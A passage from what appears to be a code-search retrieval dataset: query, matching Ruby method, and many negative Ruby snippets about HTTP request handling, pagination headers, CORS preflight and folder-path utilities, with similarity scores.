"def callback &block\n @callback = block\n if @callback_args\n @callback.call *@callback_args\n end\n self\n end",
"def response\n @response || perform and @response\n end",
"def handle( request ) # note: all 'handle's return 'mlResponse' in a chain\n\n request.record_arrival_time\n mlResponse =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n request.record_completion_time\n mlResponse\n end",
"def do_request(request)\n response = nil\n\n do_request_arguments = DoRequestArguments.new(request, response)\n emit('doRequest', [do_request_arguments])\n (request, response) = do_request_arguments.to_a\n\n # If nothing modified response, we're using the default behavior.\n if response.nil?\n super(request)\n else\n response\n end\n end",
"def on_request(request, type)\n self.on_request_args = [request, type]\n self.on_request_called = true\n false # cancel request since we can't stub it\n end",
"def send_global_request(type, *extra, &callback); end",
"def mock_call!(*)\n begin\n return mock_request_call if on_request_path? && OmniAuth.config.allowed_request_methods.include?(request.request_method.downcase.to_sym)\n return mock_callback_call if on_callback_path?\n rescue StandardError => e\n raise e if env.delete('omniauth.error.app')\n\n return fail!(e.message, e)\n end\n\n call_app!\n end",
"def finish_response; end",
"def response\n @response ||= request!(true)\n end",
"def request_result\n \n end",
"def request_phase\n request_token = consumer.get_request_token({:oauth_callback => callback_url}, {:scope => 'http://www.google.com/health/feeds'})\n (session['oauth']||={})[name.to_s] = {'callback_confirmed' => request_token.callback_confirmed?, 'request_token' => request_token.token, 'request_secret' => request_token.secret}\n r = Rack::Response.new\n if request_token.callback_confirmed?\n r.redirect(request_token.authorize_url)\n else\n r.redirect(request_token.authorize_url(:oauth_callback => callback_url))\n end\n r.finish\n end",
"def request_response(request: nil, call: nil, method: nil, metadata: nil, &block)\n rc = Gruf::Outbound::RequestContext.new(\n type: :request_response,\n requests: [request],\n call: call,\n method: method,\n metadata: metadata\n )\n call(request_context: rc, &block)\n end",
"def handle_requests(request)\r\n\tputs request\r\n\tdata = JSON.parse(request)\r\n\tif data['command'] == 'login'\r\n\t\treturn login(data)\r\n\telsif data['command'] == 'add_phone'\r\n\t\treturn add_phone(data)\r\n\telsif data['command'] == 'remove_phone'\r\n\t\treturn remove_phone(data)\t\t\t\r\n\telsif data['command'] == 'create_account'\r\n\t\treturn create_account(data)\r\n\telsif data['command'] == 'update_location'\r\n\t\treturn update_location(data)\r\n\telse\r\n\t\tputs \"Unknown command: #{data['command']}\"\r\n\t\treturn \"ERROR\"\r\n\tend\r\nend",
"def callback=(_arg0); end",
"def callback\n connector_response_url(callback_options)\n end",
"def handle_request_intern(req)\n return handler_for_request(req).handle_request(req)\n end",
"def maybe_wrap_with_callback(json)\n if params[:callback]\n params[:callback] + '(' + json + ')'\n else\n json\n end\nend",
"def transaction_request(callback, &block)\n block.call(self)\n Rails.logger.debug \"transaction_request(Complete) for #{callback.class.name}\"\n true\n rescue Exception => e\n Rails.logger.debug \"transaction_request(EXCEPTION) #{e.class.name.to_s} #{e.message} #{e.backtrace[0..3].join(\"\\n\")}\"\n false\n end",
"def try_callback(sym, *args, &block)\n call_callback(sym, *args, &block) if callback?(sym)\n end",
"def request(uri, req = nil, &block)\n response = super(uri, req, &block)\n\n # Evaluate HTTP response.\n case response\n when Net::HTTPSuccess\n return response\n when Net::HTTPBadRequest\n hash = JSON.parse(response.body)\n description = hash[\"error_description\"]\n\n if hash[\"error\"]\n description ||= hash[\"error\"][\"description\"]\n code = hash[\"error\"][\"code\"]\n end\n\n raise Error.new(hash[\"error\"], description, code)\n when Net::HTTPUnauthorized\n raise Error.new(\"unauthorized\", \"Missing, invalid or expired access token.\")\n when Net::HTTPForbidden\n raise Error.new(\"forbidden\", \"Insufficient permission.\")\n when Net::HTTPNotFound\n return nil\n when Net::HTTPMethodNotAllowed\n raise Error.new(\"method_not_allowed\", \"Unexpected request method.\")\n when Net::HTTPServiceUnavailable\n raise Error.new(\"service_unavailable\", \"Exceeded rate limit.\")\n else\n raise Error.new(\"internal_server_error\", \"We are very sorry, but something went wrong.\")\n end\n end",
"def try_callback(sym, *args, &block)\n call_callback(sym, *args, &block) if callback?(sym)\n end",
"def request_response(req, metadata: {})\n raise_error_if_already_executed\n ops = {\n SEND_MESSAGE => @marshal.call(req),\n SEND_CLOSE_FROM_CLIENT => nil,\n RECV_INITIAL_METADATA => nil,\n RECV_MESSAGE => nil,\n RECV_STATUS_ON_CLIENT => nil\n }\n @send_initial_md_mutex.synchronize do\n # Metadata might have already been sent if this is an operation view\n unless @metadata_sent\n ops[SEND_INITIAL_METADATA] = @metadata_to_send.merge!(metadata)\n end\n @metadata_sent = true\n end\n\n begin\n batch_result = @call.run_batch(ops)\n # no need to check for cancellation after a CallError because this\n # batch contains a RECV_STATUS op\n ensure\n set_input_stream_done\n set_output_stream_done\n end\n\n @call.metadata = batch_result.metadata\n attach_status_results_and_complete_call(batch_result)\n get_message_from_batch_result(batch_result)\n end",
"def try_callback(symbol, *args, &block)\n call_callback(symbol, *args, &block) if callback?(symbol)\n end",
"def response?\n !!response\n end",
"def call(request)\n handler.call(request)\n end",
"def http_callback\n # sleep 4\n if @params[\"status\"] == \"error\"\n @answer_backend = {\"submit_error_message\"=> Localization::Request[:no_network]}\n WebView.navigate url_for :action => :request, :query => @answer_backend\n end\n @answer_backend = Rho::JSON.parse(@params[\"body\"])\n WebView.navigate url_for :action => :process_submit_result, :query => @answer_backend\n end"
] |
[
"0.6531643",
"0.6351651",
"0.6318307",
"0.6264702",
"0.6231524",
"0.6219892",
"0.6219167",
"0.6142713",
"0.611435",
"0.60610545",
"0.60595024",
"0.6014218",
"0.59468335",
"0.5936375",
"0.59288704",
"0.5915881",
"0.58784175",
"0.58024436",
"0.5785593",
"0.5768225",
"0.5703472",
"0.5676947",
"0.5667912",
"0.56674993",
"0.56305534",
"0.56236607",
"0.5620171",
"0.5615388",
"0.56108135",
"0.5607988",
"0.55851185",
"0.5515748",
"0.5503944",
"0.5502663",
"0.5499395",
"0.5497572",
"0.54879713",
"0.54788464",
"0.54690546",
"0.5465126",
"0.54646724",
"0.54613316",
"0.54476255",
"0.5425383",
"0.54227364",
"0.5409924",
"0.54090023",
"0.54075277",
"0.5403504",
"0.5398128",
"0.5380902",
"0.5375065",
"0.53722984",
"0.5357998",
"0.5354975",
"0.5350355",
"0.5349854",
"0.5349854",
"0.53402966",
"0.5325417",
"0.5323304",
"0.53222674",
"0.53148574",
"0.5306839",
"0.53019387",
"0.52992266",
"0.5287286",
"0.5281332",
"0.52765375",
"0.52745545",
"0.52642775",
"0.5260501",
"0.5253734",
"0.52500594",
"0.5244716",
"0.5236951",
"0.52320427",
"0.5229427",
"0.5226532",
"0.5224302",
"0.5217912",
"0.51972836",
"0.51947623",
"0.5193499",
"0.5178639",
"0.51784754",
"0.51769805",
"0.5170653",
"0.51530814",
"0.515307",
"0.51491296",
"0.5134684",
"0.51269877",
"0.5123522",
"0.51152927",
"0.5101767",
"0.5095827",
"0.5095819",
"0.5093485",
"0.50923353"
] |
0.6469977
|
1
|
before_action :set_x_organization_header has_scope :page, default: 1
|
def cors_preflight_check
if request.method == 'OPTIONS'
headers['Access-Control-Allow-Origin'] = '*'
headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'
headers['Access-Control-Allow-Headers'] = '*' #'Origin, X-Requested-With, Content-Type, Accept, Authorization, Token'
headers['Access-Control-Request-Method'] = '*'
headers['Access-Control-Max-Age'] = '1728000'
render :text => '', :content_type => 'text/plain'
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def kopal_layout_before_page_header\n\n end",
"def Header\r\n\t\tif @page == 1\r\n\t\t\tfirst_page_header\r\n\t\telse\r\n\t\t\tpage_header\t\r\n\t\tend\r\n\tend",
"def index\n # Get page number\n page = params[:page].nil? ? 1 : params[:page]\n\n if current_user.admin?\n @organizations = Organization.all.paginate(page: page, per_page: PAGE_COUNT)\n else\n if current_user.organization\n redirect_to current_user.organization\n else\n redirect_to new_organization_path\n end\n end\n end",
"def kopal_layout_after_page_header\n\n end",
"def set_page\n end",
"def add_page_header\n tenant = MnoEnterprise::Tenant.show\n title = Settings.dashboard.payment.enabled ? \"#{t(:monthly_invoice)} - \" : \"#{t(:account_statement)} - \"\n @pdf.repeat :all do\n @pdf.bounding_box([0, @pdf.bounds.top+@format[:header_size]], width: 540, height: @format[:footer_size]) do\n @pdf.float do\n @pdf.image main_logo_white_bg_path(true), fit: [135, (@format[:footer_size])]\n end\n @pdf.text tenant.name, align: :right, inline_format: true\n if tenant.main_address.present?\n tenant_address = \"#{tenant.main_address.dig('street')}\\n#{tenant.main_address.dig('city')}\\n#{ISO3166::Country.new(tenant.main_address.dig('country_code')).name}\"\n @pdf.move_down 5\n @pdf.text \"<color rgb='999999'>#{tenant_address}</color>\", align: :right, inline_format: true, style: :italic, size: 9\n end\n if contact_details = Settings.dashboard&.organization_management&.billing&.invoice_contact_details.presence\n @pdf.move_down 5\n @pdf.font_size(10) { @pdf.text contact_details, align: :right }\n end\n @pdf.move_down 10\n @pdf.font_size(20) { @pdf.text \"#{title} #{@data[:period_month]}\", style: :bold, align: :right }\n end\n end\n end",
"def first_page_number\n 1\n end",
"def index\n @organization_pages, @organizations = paginate :organizations, :per_page => 25, :order => \"position\"\n render :action => \"index\", :layout => false if request.xhr?\n end",
"def selected_page\n end",
"def initialize\n @page = 1\n end",
"def set_page\n if request.format.html? && params[:field] && params[:value]\n field = Content.field_index_to_sym(params[:field])\n\n if Content.column_names.include?(field.to_s)\n matches = policy_scope(Content).where(upload: @upload).where('sequence > 0').order(sort_column.to_s + ' ' + sort_direction.to_s)\n .select(Content.sanitize_sql_for_conditions([\"#{field} = ? as matches\", params[:value]]))\n index = matches.to_a.find_index { |content| ActiveModel::Type::Boolean.new.cast(content[:matches]) }\n\n if index\n page ||= index / params[:limit]\n params[:page] = page + 1 if page && page > 0\n end\n end\n end\n end",
"def set_page\n @articlespage = 'active'\n end",
"def kopal_layout_before_page_meta\n\n end",
"def current_page_setter\n @current_page = :user_stories\n end",
"def pages=(_arg0); end",
"def set_pagination_header(name, options = {})\n scope = instance_variable_get(\"@#{name}\")\n request_params = request.query_parameters\n url_without_params = request.original_url.slice(0..(request.original_url.index(\"?\")-1)) unless request_params.empty?\n url_without_params ||= request.original_url\n\n page = {}\n page[:first] = 1 if scope.total_pages > 1 && !scope.first_page?\n page[:last] = scope.total_pages if scope.total_pages > 1 && !scope.last_page?\n page[:next] = scope.current_page + 1 unless scope.last_page?\n page[:prev] = scope.current_page - 1 unless scope.first_page?\n\n pagination_links = []\n page.each do |k, v|\n new_request_hash= request_params.merge({ page: v })\n pagination_links << \"<#{url_without_params}?#{new_request_hash.to_param}>; rel=\\\"#{k}\\\"\"\n end\n headers['Link'] = pagination_links.join(', ')\n end",
"def page\r\n @page || 1\r\n end",
"def __page\n @_page || 1\n end",
"def set_pagination_header(resource,resource_name)\n #print current page\n headers[\"x-page\"] = page\n #print records per page\n headers[\"x-per-page\"] = per_page\n #print total records\n headers[\"x-total\"] = resource.total_count\n #print next page url\n headers[\"next_page\"] = eval \"api_v1_#{resource_name}_url(request.query_parameters.merge(page: resource.next_page))\" if resource.next_page\n #print prev page url\n headers[\"prev_page\"] = eval \"api_v1_#{resource_name}_url(request.query_parameters.merge(page: resource.next_page))\" if resource.prev_page\n end",
"def index\n @pages = apply_scopes(Page.includes(:versions)).by_title.page params[:page]\n authorize @pages\n end",
"def current_page; end",
"def current_page; end",
"def index\n @organization_statuses = @organization.organization_statuses # .paginate(:page => params[:page]).per_page(10)\n end",
"def set_page_title\n @page_title = \"Race Results Management\"\n end",
"def set_info\n @page_header = 'Dashboard'\n @page_title = 'LeadAccount | Dashboard'\n @page_icon = 'dashboard'\n end",
"def pages; end",
"def pages\n end",
"def index\n @organizations = Organization.order(sort_column + \" \" + sort_direction).page(params[:page])\n\n respond_to do |format|\n format.html\n format.json { render json: @organizations }\n end\n end",
"def set_activities_for_pagination\n \n end",
"def page_params\n end",
"def set_filtered_organizations\n scope = current_user.organizations.includes(:assignments, :group_assignments).filter_by_search(@query)\n\n scope = case @current_view_mode\n when \"Archived\" then scope.archived\n when \"Active\" then scope.not_archived\n else scope\n end\n\n @organizations = scope\n .order_by_sort_mode(@current_sort_mode)\n .order(:id)\n .page(params[:page])\n .per(12)\n end",
"def set_page_vars\n @page = params[:page] ? params[:page].to_i : START_PAGE\n @per_page = PER_PAGE\n end",
"def page_title\n end",
"def set_current_page\n @current_page = params[:page] || 1\n end",
"def set_page_title\n if params['listing_user_id']\n @page_title = \"My Tours\"\n else\n @page_title = \"All Tours\"\n end\n end",
"def set_page_metadata\n params[:id].tap do |page|\n if %w(home privacy styles terms).include? page\n page_title t(\"pages.#{page}.page_title\") unless page == 'home'\n page_author t(\"pages.#{page}.page_author\", default: '')\n page_description t(\"pages.#{page}.page_description\", default: '')\n extra_body_classes \"#{page}-page\"\n end\n end\n end",
"def set_page_data\n @page_title = \"Dragos | My Portfolio\"\n @seo_keywords = \"Dragos Portfolio\"\n end",
"def pagination_page\n @pagination_page\n end",
"def set_page_info\n unless user_signed_in? && (current_user.is_customer? || current_user.is_vendor? )\n @menus[:general_ledger][:active] = \"active\"\n end\n end",
"def render_unauthorized(universe,page)\n \tself.headers['X-Total'] = \"#{universe.count}\"\n \tself.headers['X-Total-Pages'] = \"#{(headers['X-Total'].to_f/10).ceil}\"\n \tif !params[:page].nil?\n \t\tself.headers['X-Page'] = params[:page]\n \t\tcurrent = \"#{headers['X-Page']}\".to_i\n \t\ttotal = \"#{headers['X-Total-Pages']}\".to_i\n \t\tif ( current < total )\n \t\t\tself.headers['X-Next-Page'] = current.to_i + 1 \n \t\telsif ( current > total )\n \t\t\tself.headers['X-Next-Page'] = total\n \t\telse\n \t\t\tself.headers['X-Next-Page'] = current\n \t\tend\n \t\tif ( current < total ) && (current > 1)\n \t\t\tself.headers['X-Prev-Page'] = current.to_i - 1 \n \t\telsif ( current >= 2 ) && (current <= total)\n \t\t\tself.headers['X-Prev-Page'] = total - 1\n \t\telsif (current > total)\n \t\t\tself.headers['X-Prev-Page'] = total\n \t\telsif (current == 1)\n \t\t\tself.headers['X-Prev-Page'] = 1\n \t\tend\n \telse\n \t\tself.headers['X-Next-Page'] = 1\n \t\tself.headers['X-Page'] = 1\n \t\tself.headers['X-Prev-Page'] = 1\n \tend\n \tself.headers['X-Per-Page'] = 10\n\tend",
"def page_title; end",
"def page_no\n\t params[:page] ? \" Page #{params[:page]}\" : ''\n end",
"def edit_header_menu\n Log.add_info(request, params.inspect)\n\n unless params[:org_name].nil?\n yaml = ApplicationHelper.get_config_yaml\n\n unless yaml[:general]['header_menus'].nil?\n yaml[:general]['header_menus'].each do |header_menu|\n if header_menu[0] == params[:org_name]\n @header_menu_param = header_menu\n break\n end\n end\n end\n end\n\n render(:partial => 'ajax_header_menu_info', :layout => false)\n end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def index\n @organization_themes = if current_manager\n current_manager.organization.organization_theme\n else\n OrganizationTheme.newest_first.per_page(params[:page])\n end\n end",
"def page_header(site_config, page_count)\n # start common page region\n page = %(<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n <meta charset=\"UTF-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <!-- The above 3 meta tags *must* come first in the head;\n any other head content must come *after* these tags -->\n <title>#{site_config['title']}</title>)\n page += add_icons\n page += %(\n <meta name=\"description\" content=\"#{site_config['description']}\">\n <meta name=\"theme-color\" content=\"##{site_config['theme_color']}\">\n <link rel=\"stylesheet\" href=\"assets/bootstrap/css/bootstrap.min.css\">\n <link rel=\"stylesheet\" href=\"assets/bootstrap/css/bootstrap-theme.min.css\">\n <style>\n .container-fluid { padding: 0px; }\n .navbar, .navbar-default { margin-bottom: 0; padding: 5pt; background-color: ##{site_config['theme_color']}; font-size: 12pt; }\n .navbar, .navbar-default li a { color: ##{site_config['text_color']} !important; }\n .navbar-default .navbar-brand { margin-left: 20px !important; color: ##{site_config['logo_text_color']}; font-size: 18pt; font-weight: bold; }\n .navbar-brand:hover { background-color: #{site_config['nav_hover_color']} !important; }\n div[id^=\"d3pie_chart_div_\"], canvas { margin-bottom: 100px; }\n footer { background-color: ##{site_config['theme_color']}; min-height: 200px;}\n footer ul a { color: ##{site_config['text_color']} !important; font-size: 13pt; }\n footer .container { margin-left: 15px; }\n .built { text-decoration: none !important; }\n .selected { background-color: #{site_config['nav_selected_color']}; font-weight: bold; }\n .navbar-default li:hover a { background-color: #{site_config['nav_hover_color']} !important; }\n h1 { text-align: center; background-color: ##{site_config['theme_color']}; padding: 14px; color: ##{site_config['text_color']}; }\n pre { white-space: pre-wrap; word-wrap: break-word; }\n .homepage { padding: 5px 30px 5px 30px; }\n .logo { float: left; }\n .oll { padding-left: 1em; }\n h2#other { text-align: center; }\n .plotlypie { height: 625px; }\n </style>\n </head>\n <body>\n <!-- Static navbar -->\n <nav class=\"navbar navbar-default\" id=\"head1\">\n <div class=\"container-fluid\">\n <div class=\"navbar-header\">\n <a href=\"index.html\"><img src=\"assets/images/logo.png\" alt=\"Ruby Powered\" class=\"logo\"></a>\n <button type=\"button\" class=\"navbar-toggle collapsed\" data-toggle=\"collapse\" data-target=\"#navbar\" aria-expanded=\"false\" aria-controls=\"navbar\">\n <span class=\"sr-only\">Toggle navigation</span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n </button>\n <a class=\"navbar-brand\" href=\"index.html\">#{site_config['nav_heading']}</a>\n </div>\n <div id=\"navbar\" class=\"navbar-collapse collapse\">\n <ul class=\"nav navbar-nav\">)\n page += add_links(page_count)\n page += %(\n </ul>\n </div>\n </div>\n </nav>\n <div class=\"container-fluid\">)\n (0..page_count).map do |i|\n instance_variable_set(\"@page#{ii(i)}\", page)\n end\nend",
"def selected_page=(page)\n end",
"def index\n @header_templates = HeaderTemplate.page params[:page]\n end",
"def page=(_arg0); end",
"def page=(_arg0); end",
"def page=(_arg0); end",
"def get_page_nav\n\n @page_nav = Page.where(display_in_menu: 't').where(is_published: 't').order(id: :asc)\n\n end",
"def pos_partial_page_header\n pos_fil_header + 4\n end",
"def page_title() nil end",
"def paginatable?; paginatable; end",
"def set_pages_flag\n @pages_flag = true\n end",
"def index\n @page = ( params[:page] || 1 ).to_i\n @per_page = 100\n\n @organizations = Organization\n .active_batch_scope\n .joins(owned_packages: :counter)\n .merge(Package.exclude_unregistered_packages(cookies))\n .references(:owned_packages)\n .group(\"organizations.id\")\n .order(\"count(organizations.id) DESC\")\n .order(\"sum(counters.stargazer) desc\")\n .paginate(page: params[:page], per_page: @per_page)\n end",
"def page\n\n end",
"def assign_pages!; end",
"def create_before\n return unless Spree::Config[:cms_page_status_default]\n @page.is_active = Spree::Config[:cms_page_status_default]\n end",
"def page_count\n 1\n end",
"def render_search_to_page_header(params)\n constraints = []\n constraints += (params.dig(\"f\", \"collection_sim\") || [])\n constraints.join(\" / \")\n end",
"def full_page\n end",
"def page_title\n @page_title = \"Nursing System\"\n end",
"def set_page\n @page = Page.published.friendly.find(params[:id])\n @sections = @page.sections.published.sorted\n @subpages = @page.subpages.published.sorted\n end",
"def index\n if (current_user.role == \"customer\" || current_user.role == \"supervisor\")\n if params[:org_id].present?\n add_breadcrumb 'Organizations', 'organizations_path'\n add_breadcrumb \"#{Organization.where(:id => params[:org_id])[0].company_name}\", '#' \n add_breadcrumb \"Contacts\", 'organization_contacts_path(:org_id => \"#{params[:org_id]}\")'\n @organization_contacts = OrganizationContact.where(:delflag => false, :organization_id => \"#{params[:org_id]}\").paginate(:page => params[:page], :per_page => 5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @organization_contacts }\n end\n else\n @organization_contacts = OrganizationContact.paginate(:page => params[:page], :per_page => 5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @organization_contacts }\n end\n end \n else\n redirect_to error_users_path and return\n end\n end",
"def associate_page(page); end",
"def set_info\n @page_header = 'Insight Engine'\n @page_secondary = 'Let\\'s get a view at 10,000 feet.'\n @page_title = 'LeadAccount | Insight Engine'\n @page_icon = 'lightbulb'\n end",
"def set_pagination_headers\n headers[\"Access-Control-Expose-Headers\"] = \"Link, Page, Per-Page\"\n headers[\"Page\"] = current_page\n headers[\"Per-Page\"] = current_per_page\n end",
"def page\n @page ||= params[:page] || 1\n end",
"def kopal_layout_before_page_sidebar\n\n end",
"def index\n @users = @organization.users.active.paginate(:page => params[:page], :per_page => 50, order: \"updated_at DESC\")\n @title = \"Staff\"\n end",
"def index\n @organizations = Organization.preload(:organization_category, project: :custom_values).all\n #\n # preload(:custom_values)\n # if has_column?(:author)\n # scope = scope.preload(:author)\n # end\n end",
"def kopal_layout_before_page_front\n\n end",
"def page\r\n\t\t\t\tparams[:page].to_i || 1\r\n\t\t\tend",
"def set_params_page\n params[:page] = params.fetch(\"page\"){1}.to_i\n params[:per_page] = params.fetch(\"per_page\"){20}.to_i\n end",
"def endorsements\n session[:endorsement_page] = (params[:page]||1).to_i\n respond_to do |format|\n format.js {\n render :update do |page|\n page.replace_html 'your_priorities_container', :partial => \"priorities/yours\" \n end\n }\n end\n end",
"def paginate; false; end",
"def pages= number_of_pages\n \t@pages = number_of_pages\n end",
"def show_pages\n false\n end",
"def index\n @organizations = Organization.page(params[:page]).per_page(9).order(\"name DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @organizations }\n end\n end",
"def set_resource_content\n @page = Page.available.homepage.first!\n end",
"def set_params_page\n params[:page] = params.fetch(\"page\"){1}.to_i\n params[:per_page] = params.fetch(\"per_page\"){20}.to_i\n end",
"def page_partial(page)\n page.set_page? ? 'set_page_li' : 'page_li'\n end",
"def page\n Integer(params[:page] || 1)\n end",
"def pagination_setup(paginator: Org::Paginator, **opt)\n opt[:id] ||= identifier\n # noinspection RubyMismatchedReturnType\n super\n end",
"def page_title\n nil\n end",
"def initialize_requested_page(prefix=\"\")\n (@search_params[prefix + \"page\"] || 1).to_i\n end",
"def page_title_set?\n defined?(@_page_title)\n end",
"def setup_pager!\n page\n end"
] |
[
"0.6581414",
"0.62604374",
"0.6200295",
"0.6117571",
"0.60257375",
"0.59432256",
"0.5899744",
"0.587185",
"0.5860271",
"0.5851856",
"0.5849072",
"0.5801358",
"0.57937956",
"0.57222396",
"0.57221293",
"0.5720161",
"0.56911933",
"0.5669275",
"0.56655353",
"0.5661351",
"0.5650731",
"0.5650731",
"0.5645465",
"0.5637183",
"0.5636861",
"0.5635629",
"0.5624231",
"0.5622398",
"0.5620614",
"0.5603425",
"0.55993825",
"0.55991256",
"0.5599113",
"0.55759406",
"0.5558736",
"0.55555826",
"0.5553931",
"0.5533739",
"0.55337167",
"0.55301744",
"0.5520402",
"0.5512887",
"0.5511943",
"0.55043805",
"0.55043805",
"0.55043805",
"0.55043805",
"0.55043805",
"0.55043805",
"0.55043805",
"0.55043805",
"0.55043805",
"0.55043805",
"0.55043805",
"0.55043805",
"0.55013454",
"0.54930264",
"0.5491944",
"0.549158",
"0.5483965",
"0.5483965",
"0.5483965",
"0.5478682",
"0.5478081",
"0.54770774",
"0.54764766",
"0.5464185",
"0.54630554",
"0.54594535",
"0.5459178",
"0.5439171",
"0.54321384",
"0.5428313",
"0.5427624",
"0.5421821",
"0.54145044",
"0.5405642",
"0.5400143",
"0.5399869",
"0.53985286",
"0.5392672",
"0.53908986",
"0.5387997",
"0.53732204",
"0.5367557",
"0.5360045",
"0.53568137",
"0.53524095",
"0.5336539",
"0.5333677",
"0.53328377",
"0.5331319",
"0.53301275",
"0.5329422",
"0.5325296",
"0.5325027",
"0.53241503",
"0.5324063",
"0.5323974",
"0.5323035",
"0.5321601"
] |
0.0
|
-1
|
string Folder path This must be slashdelimited, but it must neither start nor end with a slash. Maximum of 5000 characters.
|
def path
@attributes[:path]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pathify_folder(folder)\n if folder.private?\n \"/home/files?folderId=#{folder.id}\"\n elsif folder.public?\n \"/home/files/everybody?folderId=#{folder.id}\"\n elsif folder.in_space?\n \"/home/files/spaces?folderId=#{folder.id}\"\n else\n raise \"Unable to build folder's path\"\n end\n end",
"def folder_path\n File.expand_path @folder_path\n end",
"def folder_path\n File.join(location.path, folder_name)\n end",
"def path\n folder.path + name\n end",
"def get_name_folder_from_path(path)\n folder_path_array = path.split('/')\n folder_path_array[folder_path_array.count - 2]\nend",
"def folder_pathname\n return unless exists?\n @folder_pathname ||= Pathname.new(folder_location)\n end",
"def set_folder_name\n media_regexp = Regexp.new(\"^#{media_path.filesystem_path}[/]?\")\n write_attribute(:folder_name, File.dirname(file_name).gsub(media_regexp, ''))\n end",
"def dir_name string\n string.split('/')[0..-2].join('/')\nend",
"def path\n return @path.sub(/^\\//,'').sub(/^%2F/,'/')\n end",
"def store_path(filename)\n update_link if folder_limit && current_folder.count >= folder_limit\n File.join current_directory, filename\n end",
"def folder_name\n\t\treturn 'st' + student_id.to_s + 'pr' + problem_id.to_s + 'so' + id.to_s + '/'\n\tend",
"def path\n File.join(Settings.root, folder_name.to_path)\n end",
"def folder_name\n @folder_name\n end",
"def actual_path_length\n folders.count\n end",
"def query\n parent_folders = @pattern.split('/')[0..-2]\n parent_folders << '*' if parent_folders[-1] != '*'\n File.join(*parent_folders)\n end",
"def path_str\n path.join(\"-\")\n end",
"def createFolder(folderPath)\n @folderParts=folderPath.split(\"/\")\n newFdr=\"\"\n for partName in @folderParts\n newFdr=newFdr+partName+\"/\"\n if !File.exist?(newFdr)\n Dir.mkdir(newFdr)\n end\n end\nend",
"def createFolder(folderPath)\n @folderParts=folderPath.split(\"/\")\n newFdr=\"\"\n for partName in @folderParts\n newFdr=newFdr+partName+\"/\"\n if !File.exist?(newFdr)\n Dir.mkdir(newFdr)\n end\n end\nend",
"def get_parent_id_folder(id)\n if id.to_s.length > 4\n id.to_s[0..id.to_s.length-2]\n else\n id.to_s\n end\nend",
"def cut_path(path)\n path[(1+root_folder.length)..-1]\n end",
"def create_folder(path)\n notify \"Path:#{path}\"\n full_path = @dst_full_path + path\n r = path_transform(full_path,false)\n url = sprintf(NAS_FOLDER_CREATE_URL,CGI.escape(r[:path]),CGI.escape(r[:share]))\n notify \"create folder with #{url}\"\n result = RestClient.get(url, {:cookies => @nas_cookies})\n notify \"create result#{result.inspect}\"\n return result == \"{\\\"errmsg0\\\": \\\"OK\\\"}\"\n end",
"def folder\n @folder ||= File.expand_path('.')\n end",
"def create_media_path(path, type)\n folders = path.split('/')[1..-2]\n\n str = mediaize_path('', type) + '.'\n\n folders.each do |f|\n str = str + '/' + f\n\n unless $r.exists(str + '/')\n EzPub::MediaFolder.store(str + '/')\n end\n end\n end",
"def path_dir\n File.split(path).first\n end",
"def set_Folder(value)\n set_input(\"Folder\", value)\n end",
"def get_Path(initial)\n\tinitial.split(' ',3)[1]\nend",
"def google_create_folder(client)\n path = CGI::unescape(@fields[:path].to_s)\n result = client.create_folder_by_path(path)\n end",
"def build_dir_path(dir_path)\r\n dir_builder = \"\"\r\n dir_path.split(\"/\").each { |dir|\r\n unless Dir.exists?(dir_builder + dir)\r\n Dir.mkdir(dir_builder + dir)\r\n end\r\n dir_builder += dir + \"/\"\r\n }\r\n end",
"def fix_url_folder(url)\n url\n .sub(/\\/(users|boards|galleries|characters)\\/(\\d+)(\\?|#|$)/, '/\\1/\\2/\\3')\n .sub(/\\/(users|boards|galleries|characters)(\\?|#|$)/, '/\\1/\\2')\n end",
"def userfolder\n # \"public/upload/user_id_\" + self.user_id.to_s\n User.find_by_id( self.user_id ).userfolder\n end",
"def partialize_path(path)\n if path.basename.to_s !~ /\\A_/\n Pathname.new path.to_s.sub(/([^\\/]+)\\Z/, '_\\1')\n end\n end",
"def partialize_path(path)\n if path.basename.to_s !~ /\\A_/\n Pathname.new path.to_s.sub(/([^\\/]+)\\Z/, '_\\1')\n end\n end",
"def clean_path(directory)\n directory.gsub(/\\/\\//, '/')\n end",
"def a_dir\n self.path.split('/')[0...-1]\n end",
"def drive_folder_link\n\t\t\"https://drive.google.com/#folders/#{self.folder_id}\"\n\tend",
"def folder_path(thumbnail=nil, n=nil, s=nil)\n\t\tn.nil? ? filename : n\n\tend",
"def bulk_download_folder(file)\n self.name == '/' ? \"root_dir/#{file[:name]}\": file[:name]\n end",
"def split_path; end",
"def dir\n if url.end_with?(\"/\")\n url\n else\n url_dir = File.dirname(url)\n url_dir.end_with?(\"/\") ? url_dir : \"#{url_dir}/\"\n end\n end",
"def rfolder\n\t\"#{ENV['HOME']}/tmp/jackbox/#{(0...10).map { ('a'..'z').to_a[rand(26)] }.join}\"\nend",
"def directory\n File.dirname(@path) + '/'\n end",
"def relative_path(path)\n path.split('/').drop(5).join('/')\nend",
"def windows_path(path)\n path.gsub(/\\//, '\\\\')\n end",
"def path\n @path ||= File.join(folder.path, filename)\n end",
"def path\n assignment.path + '/' + directory_num.to_s\n end",
"def path\n '/c/document_library/get_file?folderId=%i&name=%s' % [self.folderid, self.name]\n end",
"def web_path\n # 47 char is \"/\"\n return path[0] == 47 ? path : \"/\" + path\n end",
"def get_path(fullpath = \"\")\n (fullpath || \"\").scan(/^[\\w+|\\/]+/)[0]\n end",
"def root\n '../' * file.count('/')\n end",
